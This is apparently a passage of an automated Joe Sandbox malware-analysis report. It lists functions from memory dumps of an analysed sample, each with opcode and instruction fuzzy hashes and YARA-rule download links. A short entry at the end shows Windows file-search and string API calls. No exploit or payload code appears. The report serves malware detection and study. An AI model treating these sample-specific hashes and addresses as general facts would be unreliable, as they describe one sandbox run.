                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 657286a7e2030d52e7741ff24c8ab25d261eb0040414154b6edeb75c197f0548
                                                                                                                        • Instruction ID: 171c579374d40610402a33801613234412bad26d4803e3bdc63a74974f7e7769
                                                                                                                        • Opcode Fuzzy Hash: 657286a7e2030d52e7741ff24c8ab25d261eb0040414154b6edeb75c197f0548
                                                                                                                        • Instruction Fuzzy Hash: CFC012313101244BC704A75CE414D5977ED9B49724B1141A6E509CB361C992EC4047C4
                                                                                                                        Function 072518E7 Relevance: .0, Instructions: 14COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1636360239.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_7250000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 3c70b9f0926a2eaa89dae8360e1ef3274184eb41df74e97b25ec99f005159f65
                                                                                                                        • Instruction ID: 469c2cb0e4438baa63394931bfd6691422dd1fa42e926c27848e1cba521c80bc
                                                                                                                        • Opcode Fuzzy Hash: 3c70b9f0926a2eaa89dae8360e1ef3274184eb41df74e97b25ec99f005159f65
                                                                                                                        • Instruction Fuzzy Hash: FEE0E2B086020FCFEB18CF40D059BEEBBB2EB04319F181469C512A6190C7B84B94CFA0
                                                                                                                        Function 078B7064 Relevance: .0, Instructions: 14COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 625b0d69e4c573b4235788e02ca272a772a83c4a8c106e33a1019523b370460d
                                                                                                                        • Instruction ID: 8e7f953419a9bde7fdf18ec3a44b7f445e66baf0e82a64dc8056e85e849fdd80
                                                                                                                        • Opcode Fuzzy Hash: 625b0d69e4c573b4235788e02ca272a772a83c4a8c106e33a1019523b370460d
                                                                                                                        • Instruction Fuzzy Hash: 71E01274554309CFD724CF00D944BD87773F795349F144192D5055B2A5D3797A86CF50
                                                                                                                        Function 04F38D58 Relevance: .0, Instructions: 13COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: ec502c04cde44297f354889f28613a5aa28a03e33a9e9422f4901241619a8d25
                                                                                                                        • Instruction ID: f0ee6a62e4390e3b3fec69ba3bdc00f469f2f950f227750f93414fa6e722bb82
                                                                                                                        • Opcode Fuzzy Hash: ec502c04cde44297f354889f28613a5aa28a03e33a9e9422f4901241619a8d25
                                                                                                                        • Instruction Fuzzy Hash: 74D022B34803498FD3028780F4112243B659F90100B101062A30887082EE7C2C808A85
                                                                                                                        Function 04F309D1 Relevance: .0, Instructions: 13COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 13d167bd19859641c8042f94ee555dac7c44c5120f489b635eb8f60deca4a30d
                                                                                                                        • Instruction ID: ce14a87da3f371119a22374d4c5a174a0be1c45ca9edebfd5fd9f307e954ca9f
                                                                                                                        • Opcode Fuzzy Hash: 13d167bd19859641c8042f94ee555dac7c44c5120f489b635eb8f60deca4a30d
                                                                                                                        • Instruction Fuzzy Hash: B1C02BE24043086FDF02223024DC3D13F7CCD260083C10083E40ED2407614C5407C310
                                                                                                                        Function 04F3A970 Relevance: .0, Instructions: 13COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1571073eb5d1c4bec297a8cbd7c6f343ae4eb68ca25abd83c06e875c69131845
                                                                                                                        • Instruction ID: 86a48ee1b78230a778bb37e410576a5606499c98765757e256acfe868a6a458c
                                                                                                                        • Opcode Fuzzy Hash: 1571073eb5d1c4bec297a8cbd7c6f343ae4eb68ca25abd83c06e875c69131845
                                                                                                                        • Instruction Fuzzy Hash: 6AC08C2B9029010FE312966088C23C03F30EB823A0BC481BAC0A547183A41A8E038B82
                                                                                                                        Function 078B0E03 Relevance: .0, Instructions: 13COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: cb5686f53744fffe1e52fdc53a4f323d70ccb2ed40cc75adb13f4a0a60aeea8f
                                                                                                                        • Instruction ID: d4de74732b4763d326a3721aad5903d28db21809f2f30aefaa9b14d6b72c9d15
                                                                                                                        • Opcode Fuzzy Hash: cb5686f53744fffe1e52fdc53a4f323d70ccb2ed40cc75adb13f4a0a60aeea8f
                                                                                                                        • Instruction Fuzzy Hash: 13D01770A00119CFDB148A80E448BAAB773FB95305F2588A1D0129B358E374A949DBA0
                                                                                                                        Function 075B7098 Relevance: .0, Instructions: 12COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: aa8386c5bc4e1e041a29a3a238fac89ac5e40ab991702023c60f0fa6b78408d6
                                                                                                                        • Instruction ID: ed963d2e37fbf5aad86d0217a3a26aa0cd74e6589438994dc8115db02790549e
                                                                                                                        • Opcode Fuzzy Hash: aa8386c5bc4e1e041a29a3a238fac89ac5e40ab991702023c60f0fa6b78408d6
                                                                                                                        • Instruction Fuzzy Hash: 31B0923271423953EA18319EA420AEE76CECBC9B60F00016BA50D877858CC6DC8102EE
                                                                                                                        Function 075B6C40 Relevance: .0, Instructions: 12COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: d14686c9a25e659fb1224451bd858a4da0e928a670827824e4b182074cc15e6f
                                                                                                                        • Instruction ID: 932826bc79cde9ff403101cefba08bad8179ec4997ecb25c6b8df26198bad162
                                                                                                                        • Opcode Fuzzy Hash: d14686c9a25e659fb1224451bd858a4da0e928a670827824e4b182074cc15e6f
                                                                                                                        • Instruction Fuzzy Hash: 29B0923271523953EA18729D6420AEE76CE8BC9B60F40016BB90D877858CC6DC8282EA
                                                                                                                        Function 078B5A3F Relevance: .0, Instructions: 12COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: d79e3cfb621d952ca7f9a124b4fb5c43a812e0b73c8d2c22114fb96ac9dc25d4
                                                                                                                        • Instruction ID: b56fd7f0f2a11f1a7a8c73a0fcb46c1bf0d84be3de1fe77fb46258d425c4516c
                                                                                                                        • Opcode Fuzzy Hash: d79e3cfb621d952ca7f9a124b4fb5c43a812e0b73c8d2c22114fb96ac9dc25d4
                                                                                                                        • Instruction Fuzzy Hash: 85D0023A029A97CFCB039F71D859580BBF0FE1621536900D2D081CB092E72958A9CB12
                                                                                                                        Function 075B52E3 Relevance: .0, Instructions: 11COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 039bda41c985cec7100101634e03875de695acc018b211ffc5e7882842a80063
                                                                                                                        • Instruction ID: f43b7c6039055414cc2b513a737ce2f666c889beaa1e22061855f58b64bd0e63
                                                                                                                        • Opcode Fuzzy Hash: 039bda41c985cec7100101634e03875de695acc018b211ffc5e7882842a80063
                                                                                                                        • Instruction Fuzzy Hash: FAD092B095421ACFEB388F81D8287FEBB70BB04309F100519D002A6280DBBD0919CF51
                                                                                                                        Function 04F38D30 Relevance: .0, Instructions: 11COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c40a4ac3c1a56879062b1f2946d8fdd2acd30636333fa497c9f53611a26124d2
                                                                                                                        • Instruction ID: e08e03324774689aeb8b216718122d82235554c2515f006a7f9e4c31ea94fb37
                                                                                                                        • Opcode Fuzzy Hash: c40a4ac3c1a56879062b1f2946d8fdd2acd30636333fa497c9f53611a26124d2
                                                                                                                        • Instruction Fuzzy Hash: 1EC08CE6A812828FFB4DCB48C422B3633E2D7E9340F00505A8345DB3E2CE38DC008369
                                                                                                                        Function 078B3F54 Relevance: .0, Instructions: 10COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 270739c1b8edeab93346cdf7e932cde689f82315e5ed05f9e57970dfa854c77c
                                                                                                                        • Instruction ID: eafa61e3eac73dfb9f22a8e6d4dabf3d6f25420396b9bb689143b4d9163a694e
                                                                                                                        • Opcode Fuzzy Hash: 270739c1b8edeab93346cdf7e932cde689f82315e5ed05f9e57970dfa854c77c
                                                                                                                        • Instruction Fuzzy Hash: A6D0C938701208DBD7148E70D194559B772EF89304F108228940643745CA349C42CB40
                                                                                                                        Function 078B2E75 Relevance: .0, Instructions: 10COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 44f7c134e4f66ac31b028d57843218fe48a1ce969c38e17ee01f293fa282c169
                                                                                                                        • Instruction ID: 5f70ec1c6369a2a0caf84d720d834c2a029fd195f8b508d56214e89c52c80737
                                                                                                                        • Opcode Fuzzy Hash: 44f7c134e4f66ac31b028d57843218fe48a1ce969c38e17ee01f293fa282c169
                                                                                                                        • Instruction Fuzzy Hash: C4C04C7551E3C05FC3138B28C8B26A4BF715D6310879A50D7C091DB1A7C61D9916C7B2
                                                                                                                        Function 075B20A8 Relevance: .0, Instructions: 9COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: b075182394b439edf374e49eef1c0d3afcb6471abae3fcdd0c0604a2c308c9e7
                                                                                                                        • Instruction ID: 6bc0b39f7924de81243c4745b68d6032d953818aef47577581c2ebfaa5d2910a
                                                                                                                        • Opcode Fuzzy Hash: b075182394b439edf374e49eef1c0d3afcb6471abae3fcdd0c0604a2c308c9e7
                                                                                                                        • Instruction Fuzzy Hash: FFC012B04003059BDF189F1880882683D60BF41315B700A4A90244A1D1C3B6C547C7D1
                                                                                                                        Function 04F320B1 Relevance: .0, Instructions: 9COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 47c574903765dad66ff91748be8d5b457c0fae060d1fdd7828402d3197351f09
                                                                                                                        • Instruction ID: cdb81d3a146d2fc8684a695df9fda5bf00ed0c7a7d07b840ee4fce2a6460012a
                                                                                                                        • Opcode Fuzzy Hash: 47c574903765dad66ff91748be8d5b457c0fae060d1fdd7828402d3197351f09
                                                                                                                        • Instruction Fuzzy Hash: 64B092B648A2528FFF166BAA4A9516C2B24C742201B0165B6C201C6083DA98C8068669
                                                                                                                        Function 04F398B0 Relevance: .0, Instructions: 9COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 3a85b1570ac0c78f904acf7b8b718d51a30299924562942e3084e0029f7aa391
                                                                                                                        • Instruction ID: 081a96adbd61e5c0b52841355dbb43f9731d6bd43819141271cd76b9239dc1eb
                                                                                                                        • Opcode Fuzzy Hash: 3a85b1570ac0c78f904acf7b8b718d51a30299924562942e3084e0029f7aa391
                                                                                                                        • Instruction Fuzzy Hash: F4C04CA180B3C15ED727173488143592E60BFC3366F8A00DF83815A5A2953D890B835A
                                                                                                                        Function 04F35886 Relevance: .0, Instructions: 9COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 81b50af110bef459d35a9e1c227a299c3931a821304564ab85a01323f7104599
                                                                                                                        • Instruction ID: 1937ed344a4b935117e45d1fcb37f4f58925814222f7163b323a7e6b35b83a02
                                                                                                                        • Opcode Fuzzy Hash: 81b50af110bef459d35a9e1c227a299c3931a821304564ab85a01323f7104599
                                                                                                                        • Instruction Fuzzy Hash: 62C08C30E047889AFFAC6375701C7982A87D7C230EF042848CE02971CACABEBDC88311
                                                                                                                        Function 078BCEB0 Relevance: .0, Instructions: 9COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: aef544423210f5c3650313fece84bed840d281f523bd5f7f6fe5947bd930ba55
                                                                                                                        • Instruction ID: 07929c73e910f427e935d400b514901fa1374b05d63ecab45940ac83dc4843ff
                                                                                                                        • Opcode Fuzzy Hash: aef544423210f5c3650313fece84bed840d281f523bd5f7f6fe5947bd930ba55
                                                                                                                        • Instruction Fuzzy Hash: 38B092A2809381CFDF466A30115C1842F70CB6221972404C6D046D902BDE15D887CB22
                                                                                                                        Function 078BCB0B Relevance: .0, Instructions: 9COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c20289dd77c35f508ef01b1fe421ecf6b194c6bb82474c4387ef30e1c7466523
                                                                                                                        • Instruction ID: 666eb498ca489740a27539e955cb0a9abb6148b2f15d6f42b7df65306cbe101f
                                                                                                                        • Opcode Fuzzy Hash: c20289dd77c35f508ef01b1fe421ecf6b194c6bb82474c4387ef30e1c7466523
                                                                                                                        • Instruction Fuzzy Hash: 9EB012E9A2010FBCD630CD01D410BED7F2AB325544F702F02509BD0201D36591134070
                                                                                                                        Function 075B596A Relevance: .0, Instructions: 8COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 41cc43792469744db35c210eef99933eb3e90907b3609602e8822ca99dd4f50d
                                                                                                                        • Instruction ID: ed798e58f9bf84db0d39c7d8404b8940f5a54f17308feef214a372e7ad1bcd1c
                                                                                                                        • Opcode Fuzzy Hash: 41cc43792469744db35c210eef99933eb3e90907b3609602e8822ca99dd4f50d
                                                                                                                        • Instruction Fuzzy Hash: 89A0029A75590F942968A62725102FA0352F6D2322794E973E6008948C5D30088FA5B5
                                                                                                                        Function 078BD938 Relevance: .0, Instructions: 8COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: b97ae5fc0d7e9a64bc0ea5cb56baabe5f1cd337d4e44e9aedcd9e071157c3796
                                                                                                                        • Instruction ID: 1799399db759e9b650e9c29bf6ff1535ec64d89f2de54d2bbb668d0bdb6f3c8e
                                                                                                                        • Opcode Fuzzy Hash: b97ae5fc0d7e9a64bc0ea5cb56baabe5f1cd337d4e44e9aedcd9e071157c3796
                                                                                                                        • Instruction Fuzzy Hash: 7CB012FE665304FB612872B44860FEF58C0BBF2701F108D13B385C4111C560482AD52B
                                                                                                                        Function 04F38D68 Relevance: .0, Instructions: 7COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1badc71a9befce71440e586fd197491b655c4638914df4b83c144c50ddb9696a
                                                                                                                        • Instruction ID: 4693774afa22f4ffa16bc6c46a1f17af227012acba34abba518652124935236c
                                                                                                                        • Opcode Fuzzy Hash: 1badc71a9befce71440e586fd197491b655c4638914df4b83c144c50ddb9696a
                                                                                                                        • Instruction Fuzzy Hash: FEB0123144070DCFCB006BD0F409544376DEA405097405611B14C0A0095ABC3C85CACA
                                                                                                                        Function 078B5F12 Relevance: .0, Instructions: 7COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1237dc470cdcb37145c5faaa9f3bc2a23246deb1408d9c61f64c1ed5536ea3e9
                                                                                                                        • Instruction ID: cb725d770ecf2d019056b6877b819215a0a07424c9bce61cada302314142dd3f
                                                                                                                        • Opcode Fuzzy Hash: 1237dc470cdcb37145c5faaa9f3bc2a23246deb1408d9c61f64c1ed5536ea3e9
                                                                                                                        • Instruction Fuzzy Hash: 47B0923110424BC7C7029F31E0482C6B7A2EF28218F3A4751C488AA046D739946DC796
                                                                                                                        Function 078B1B30 Relevance: .0, Instructions: 7COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 253552b8ad1bf2aed970dfe307d36e967f9b0e20ed5244ec1de349a052a1bcf3
                                                                                                                        • Instruction ID: 718b594441ef9947464b2561fd12a31e3cf5117235430315a31cc44dfbac6c41
                                                                                                                        • Opcode Fuzzy Hash: 253552b8ad1bf2aed970dfe307d36e967f9b0e20ed5244ec1de349a052a1bcf3
                                                                                                                        • Instruction Fuzzy Hash: D0C08C319097808FCF028B30E4091103F329B2B30271C00E9CC4984006C23E4424CB25
                                                                                                                        Function 04F30850 Relevance: .0, Instructions: 5COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 98e6e050bc5b3ccb0b9dfd9b182692efa53102cd49a755002bde0a39afaae5c4
                                                                                                                        • Instruction ID: f2964ec5dfbb4af682cb2342866f50971c40fb886373c49e482a99141f9a60cb
                                                                                                                        • Opcode Fuzzy Hash: 98e6e050bc5b3ccb0b9dfd9b182692efa53102cd49a755002bde0a39afaae5c4
                                                                                                                        • Instruction Fuzzy Hash: 1D90023504470C8B554927D6B409659B7BCD7845167804191A50D415465E6968504595
                                                                                                                        Function 04F309E0 Relevance: .0, Instructions: 5COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 84d1c12b94971d4df61b78261fe72a1b4113605184a371f3434669f90163f9f1
                                                                                                                        • Instruction ID: ad24f5d7de15139062c14942d303a582cfa242dff7d376622d691d09aaf95229
                                                                                                                        • Opcode Fuzzy Hash: 84d1c12b94971d4df61b78261fe72a1b4113605184a371f3434669f90163f9f1
                                                                                                                        • Instruction Fuzzy Hash: 8B90023104470C9B454437967409569B79CDB44916BD14051A50D4151E5AA968108695
                                                                                                                        Function 078B7453 Relevance: .0, Instructions: 4COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 139595b485ca40f0d37c03ab096c7102475104518d7ebe98d1c60f0a35a39de3
                                                                                                                        • Instruction ID: 556b9aa636cf2703017f4fcc9c6c8a3b289f8a688d0b1c91d71ba2d1f8d021d2
                                                                                                                        • Opcode Fuzzy Hash: 139595b485ca40f0d37c03ab096c7102475104518d7ebe98d1c60f0a35a39de3
                                                                                                                        • Instruction Fuzzy Hash: 65A011B88003088BC300CAA2A8083AA3AB2A38E302F2200A3C002E2300C23808028A08

                                                                                                                        Non-executed Functions

                                                                                                                        Function 00D33CD8 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 136stringfileCOMMON
                                                                                                                        Download Yara Rule
                                                                                                                        APIs
                                                                                                                        • lstrcpyn.KERNEL32(?,?,?), ref: 00D33D36
                                                                                                                        • lstrcpyn.KERNEL32(?,?,?,kernel32.dll,00D34B30,?,00D39090), ref: 00D33D9A
                                                                                                                        • lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,00D34B30,?,00D39090), ref: 00D33DCF
                                                                                                                        • FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,00D34B30,?,00D39090), ref: 00D33DE2
                                                                                                                        • FindClose.KERNEL32(00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,00D34B30,?,00D39090), ref: 00D33DEF
                                                                                                                        • lstrlen.KERNEL32(?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,00D34B30,?,00D39090), ref: 00D33DFB
                                                                                                                        • lstrcpyn.KERNEL32(?,?,00000104,?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,00D34B30,?), ref: 00D33E2F
                                                                                                                        • lstrlen.KERNEL32(?,?,?,00000104,?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,00D34B30), ref: 00D33E3B
                                                                                                                        • lstrcpyn.KERNEL32(?,?,?,?,?,?,00000104,?,00000000,?,?,?,?,00000001,?,?), ref: 00D33E5D
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
